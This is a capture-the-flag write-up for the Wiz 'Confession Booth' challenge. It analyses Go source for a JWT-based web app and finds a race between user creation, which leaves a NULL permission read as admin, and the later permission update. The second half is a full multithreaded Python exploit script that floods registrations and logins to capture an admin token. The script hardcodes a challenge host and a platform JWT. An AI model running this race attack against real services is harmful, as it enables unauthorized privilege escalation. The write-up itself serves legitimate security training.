Wiz The Ultimate Cloud Security Championship: Confession Booth

Someone set up a Hacker Confession Booth claiming it’s a safe space to spill secrets.
Word on the street is that it’s a trap - the admin is manually filtering confessions.
Time to expose the truth.
Initial Analysis:
We have been given the source code to analyze, during the first glance we can see that the application is using JWT tokens for stateless session management, the tokens are signed and verified.
However, JWT tokens are stateless and self-contained, which means they cannot be easily revoked or invalidated before their expiration time. This creates a major security challenge: if a token is compromised, it remains valid until it expires, potentially allowing unauthorized access.
Files of interest:
- database/database.go (responsible to create tables in DB)
- auth/auth.go (responsible to create and verify jwt tokens via signature)
- config/constants.go (defines the permission for normal user and admin user)
- handlers/admin_handlers.go (defines the functionalities available to admin)
- handlers/auth_handler.go (defines the logic to create, update, and handling user login/logouts)
database.go:
createTableSQL := `
DROP TABLE IF EXISTS confessions;
DROP TABLE IF EXISTS users;
CREATE TABLE users (
id SERIAL PRIMARY KEY,
username TEXT UNIQUE NOT NULL,
password_hash TEXT NOT NULL,
profile_picture_url TEXT,
permission_level INT,
bio TEXT
);- Username, password_hash cannot be
NULL - Permission_level is of type
INT
auth.go:
func CreateJWT(userID int, perms int) (string, error) {
expirationTime := time.Now().Add(1 * time.Hour)
claims := &Claims{
UserID: userID,
Perms: perms,
RegisteredClaims: jwt.RegisteredClaims{
ExpiresAt: jwt.NewNumericDate(expirationTime),
},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS512, claims)
return token.SignedString(jwtKey)
}- JWT token are valid for upto 1 hour, this means the token cannot be revoked or modified until it expires, this is a very bad practice.
- Stateless sessions management solutions need to be short lived with proper controls for reissuing valid and tokens.
func AuthMiddleware(next echo.HandlerFunc) echo.HandlerFunc {
return func(c echo.Context) error {
tokenString := ""
authHeader := c.Request().Header.Get("Authorization")
if authHeader != "" {
tokenString = strings.TrimPrefix(authHeader, "Bearer ")
}
if tokenString == "" {
cookie, err := c.Cookie("booth_session")
if err == nil {
tokenString = cookie.Value
}
}
if tokenString == "" {
return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "No token provided"})
}
claims := &Claims{}
token, err := jwt.ParseWithClaims(tokenString, claims, func(token *jwt.Token) (interface{}, error) {
return jwtKey, nil
})
if err != nil {
if err == jwt.ErrSignatureInvalid {
return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "Invalid token signature"})
}
return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "Invalid token"})
}
if !token.Valid {
return c.Render(http.StatusForbidden, "error.html", map[string]interface{}{"Message": "Invalid token"})
}
c.Set("userID", claims.UserID)
c.Set("userPerms", claims.Perms)
return next(c)
}
}booth_session→ Is theJWTtoken issued for a user containing respective permission and signature- The issued token’s signature is always verified using the signature validation.


- You can see that
permis set to1, which is a normal user permission
constants.go
package config
const (
PermissionAdmin = 0
PermissionUser = 1
)
const AUTO_ADMIN_USER = false- Here the values for normal user and admin user is clearly defined,
admin_handlers.go
func AdminHandler(c echo.Context) error {
return c.Render(http.StatusOK, "admin.html", nil)
}
func PromoteHandler(c echo.Context) error {
username := c.FormValue("username")
if username == "" {
return c.String(http.StatusBadRequest, "Username required")
}
if err := database.PromoteUserToAdmin(username); err != nil {
return c.String(http.StatusInternalServerError, "Failed to promote user")
}
return c.String(http.StatusOK, "User promoted to admin")
}
func AdminConfessionsHandler(c echo.Context) error {
status := c.QueryParam("status")
search := c.QueryParam("search")
query := `
SELECT c.id, c.content, c.created_at, c.show, u.username
FROM confessions c
JOIN users u ON c.user_id = u.id
WHERE 1=1
`
var args []interface{}
argCount := 1
if status == "pending" {
query += " AND c.show = 0"
}
if search != "" {
query += " AND c.content ILIKE $" + strconv.Itoa(argCount)
args = append(args, "%"+search+"%")
argCount++
}
query += " ORDER BY c.created_at DESC"
rows, err := database.DB.Query(query, args...)
if err != nil {
return c.JSON(http.StatusInternalServerError, map[string]string{"error": "Failed to fetch confessions"})
}
defer rows.Close()
type ConfessionItem struct {
ID int
Content string
CreatedAt string
Username string
Show int
}
var confessions []ConfessionItem
for rows.Next() {
var item ConfessionItem
if err := rows.Scan(&item.ID, &item.Content, &item.CreatedAt, &item.Show, &item.Username); err != nil {
continue
}
confessions = append(confessions, item)
}
return c.JSON(http.StatusOK, confessions)
}
func ApproveConfessionHandler(c echo.Context) error {
idStr := c.Param("id")
if idStr == "flag" {
flagContent, err := os.ReadFile("/flag.txt")
if err != nil {
return c.JSON(http.StatusInternalServerError, map[string]string{
"error": "Failed to read flag",
"details": err.Error(),
})
}
return c.JSON(http.StatusOK, map[string]string{
"flag": strings.TrimSpace(string(flagContent)),
})
}
return c.String(http.StatusOK, "Confession approved")
}
func DeleteConfessionAdminHandler(c echo.Context) error {
return c.String(http.StatusOK, "Confession deleted")
}- The admin can promote a user to admin role, create a hidden confession, approve confessions, and delete confessions.
auth_handler.go:
RegisterHandler:
func RegisterHandler(c echo.Context) error {
if c.Request().Method == "GET" {
return c.Render(http.StatusOK, "register.html", nil)
}
if c.Request().Method == "POST" {
username := c.FormValue("username")
password := c.FormValue("password")
profilePicURL := c.FormValue("profile_picture_url")
if username == "" || password == "" {
return c.String(http.StatusBadRequest, "Username and password required")
}
if err := validateProfilePictureURL(profilePicURL); err != nil {
return c.String(http.StatusBadRequest, err.Error())
}
hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return c.String(http.StatusInternalServerError, "Failed to hash password")
}
userID, err := database.CreateUser(username, string(hashedPassword), profilePicURL)
if err != nil {
return c.String(http.StatusInternalServerError, "Username already exists")
}
targetPerms := config.PermissionUser
if config.AUTO_ADMIN_USER {
targetPerms = config.PermissionAdmin
}
if err := database.UpdateUserPermissions(userID, targetPerms); err != nil {
return c.String(http.StatusInternalServerError, "Failed to set user permissions")
}
// log.Printf("[User %d] Created and set to User permissions.", userID)
return c.Redirect(http.StatusSeeOther, "/auth/login")
}
return c.String(http.StatusMethodNotAllowed, "Method not allowed")
}- The function
database.CreateUserdoes not set any permissions at the time of user registration/creation, this means that the userpermission_levelis set toNULL NULLis converted to0via the type conversion in go, which means the registered/created user is anadminuser for a short time period, before it is immediately updated in the next stored statement of the functiondatabase.UpdateUserPermissionswhich eventually changes the permissions from0to1- Making the Registered/Created user a normal user with no special privileges.
LoginHandler:
func LoginHandler(c echo.Context) error {
if c.Request().Method == "GET" {
return c.Render(http.StatusOK, "login.html", nil)
}
if c.Request().Method == "POST" {
username := c.FormValue("username")
password := c.FormValue("password")
var userID int
var dbHashedPassword string
var userPerms int
selectStmt := `SELECT id, password_hash, permission_level FROM users WHERE username = $1`
err := database.DB.QueryRow(selectStmt, username).Scan(&userID, &dbHashedPassword, &userPerms)
if err == sql.ErrNoRows {
return c.String(http.StatusUnauthorized, "Invalid credentials")
}
if err := bcrypt.CompareHashAndPassword([]byte(dbHashedPassword), []byte(password)); err != nil {
return c.String(http.StatusUnauthorized, "Invalid credentials")
}
token, err := auth.CreateJWT(userID, userPerms)
if err != nil {
return c.String(http.StatusInternalServerError, "Failed to create session")
}
// log.Printf("[User %d] Logged in. Assigned perms: %d", userID, userPerms)
response := map[string]string{
"message": "Login successful",
"token": token,
}
return c.JSON(http.StatusOK, response)
}
return c.String(http.StatusMethodNotAllowed, "Method not allowed")
}- The login function only uses username to fetch and compare user, password, profile, and permissions.
Vulnerability:
- There exists a race condition in
handlers/auth_handler.go→database.CreateUseranddatabase.UpdateUserPermissions - The window is very short as the statements are executed sequentially.
- Which means to exploit this race condition we need to retrieve
booth_sessioncookie before the newly created/registered user’s permission are updated bydatabase.UpdateUserPermissions. - The exploit script needs to be work parallelly to improve the chances of getting a admin token. The token’s
TTLis no problem as it is set to1 hourvalidity. - A admin token will be valid for
1 hourno matter what.
Exploit Race Condition:
Script refined with the help of claude ❤️
import requests
import threading
import base64
import json
import random
import string
from concurrent.futures import ThreadPoolExecutor, as_completed
## Change This
BASE_URL = "https://606e4125-4842-43f0-9907-793ef9c99032.confession-booth.challenges.wiz-research.com"
## Change This
PLATFORM_TOKEN = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiI2MDZlNDEyNS00ODQyLTQzZjAtOTkwNy03OTNlZjljOTkwMzIiLCJjaGFsbGVuZ2VfaWQiOiJlNGY1YTZiNy1jOGQ5LTRlMGYtYTFiMi0zYzRkNWU2ZjdhOGIiLCJpYXQiOjE3NzQxMDk1MzYsImV4cCI6MTc3NDI4MjMzNiwiaXNzIjoicmVzZWFyY2gtY3RmcyIsImF1ZCI6ImNvbmZlc3Npb24tYm9vdGgifQ.Z1wWi7-uhZc3lB_Qsov5w9pIS5iRI32gljyz0dj2vJI_IUVj6fl5AmQefSKzG_e8Kpw6Ig8KTsNDkVGpmbU_ApuAOagmbXV69zk2KnEH-Wq5db_FYb9D8b4AcSdr4MrdGrgHISEoPKb3QwvbkQCjluKokg4od_DFEgd4u22P0yqm5-CCU-quq_kP5JXB2VfWacEI4M90kEr3bq__vSXuP_4ScbMbgUw_uGtM3G9guKuCsuDZz8N9mgRC33proLmDQLcPg36Oi3gyls8amRKFMmTceBsNqLsYuZb5CCnnvlb6AoKvTeI-b2Cr5AEWMrsm6DDvhBVETx_oA9yYVIpMGg"
found_admin_token = None
lock = threading.Lock()
adapter = requests.adapters.HTTPAdapter(
pool_connections=100,
pool_maxsize=200,
max_retries=0
)
def random_username(length=12):
return ''.join(random.choices(string.ascii_lowercase, k=length))
def make_session():
s = requests.Session()
s.mount("https://", adapter)
s.mount("http://", adapter)
s.cookies.set("token", PLATFORM_TOKEN)
return s
def decode_jwt_perms(token):
try:
payload = token.split(".")[1]
payload += "=" * (4 - len(payload) % 4)
decoded = json.loads(base64.b64decode(payload))
return decoded.get("perms", -1)
except Exception:
return -1
def race_worker(worker_id):
global found_admin_token
with lock:
if found_admin_token:
return
username = random_username()
password = "Password123!"
s = make_session()
def do_register():
try:
s.post(f"{BASE_URL}/auth/register", data={
"username": username,
"password": password,
"profile_picture_url": "https://ui-avatars.com/api/?name=John+Doe"
}, allow_redirects=False, timeout=5)
except Exception:
pass
threading.Thread(target=do_register, daemon=True).start()
def do_login(_):
with lock:
if found_admin_token:
return None
try:
resp = s.post(
f"{BASE_URL}/auth/login",
data={"username": username, "password": password},
timeout=1
)
if resp.status_code == 200:
return resp.json().get("token", None)
except Exception:
pass
return None
with ThreadPoolExecutor(max_workers=34) as login_pool:
futures = [login_pool.submit(do_login, i) for i in range(50)]
for future in as_completed(futures):
token = future.result()
if not token:
continue
if decode_jwt_perms(token) == 0:
with lock:
if not found_admin_token:
found_admin_token = token
print(f"\n[+] Admin token found!")
print(f"\ncurl '{BASE_URL}/admin' "
f"--cookie 'token={PLATFORM_TOKEN}; booth_session={token}'")
return
def main():
print("[*] Wiz CTF - Confession Booth Race Condition Exploit")
print(f"[*] Target: {BASE_URL}\n")
TOTAL_REGISTRATIONS = 500
BATCH_SIZE = 10
for batch_start in range(0, TOTAL_REGISTRATIONS, BATCH_SIZE):
if found_admin_token:
break
batch_end = min(batch_start + BATCH_SIZE, TOTAL_REGISTRATIONS)
print(f"[*] Batch {batch_start // BATCH_SIZE + 1}: workers {batch_start}–{batch_end - 1}")
with ThreadPoolExecutor(max_workers=BATCH_SIZE) as pool:
futures = [pool.submit(race_worker, i) for i in range(batch_start, batch_end)]
for f in as_completed(futures):
if found_admin_token:
break
if not found_admin_token:
print("\n[-] Exhausted all attempts. Try increasing TOTAL_REGISTRATIONS.")
if __name__ == "__main__":
main()
// The user creation and assigning permission is not done concurrently, instead a user is created/added to the table first, at this time the permission_level is null
// The permission level is automatically set after the user has been created.
// There exists a race condition as the permission and user creation are two sepreate functions, the attacker can leverage the short amount of time to create and login as the user getting a NULL session, NULL is interpreted as `0` when converted to integer.
// from config/contants we know that 0 is the admin user.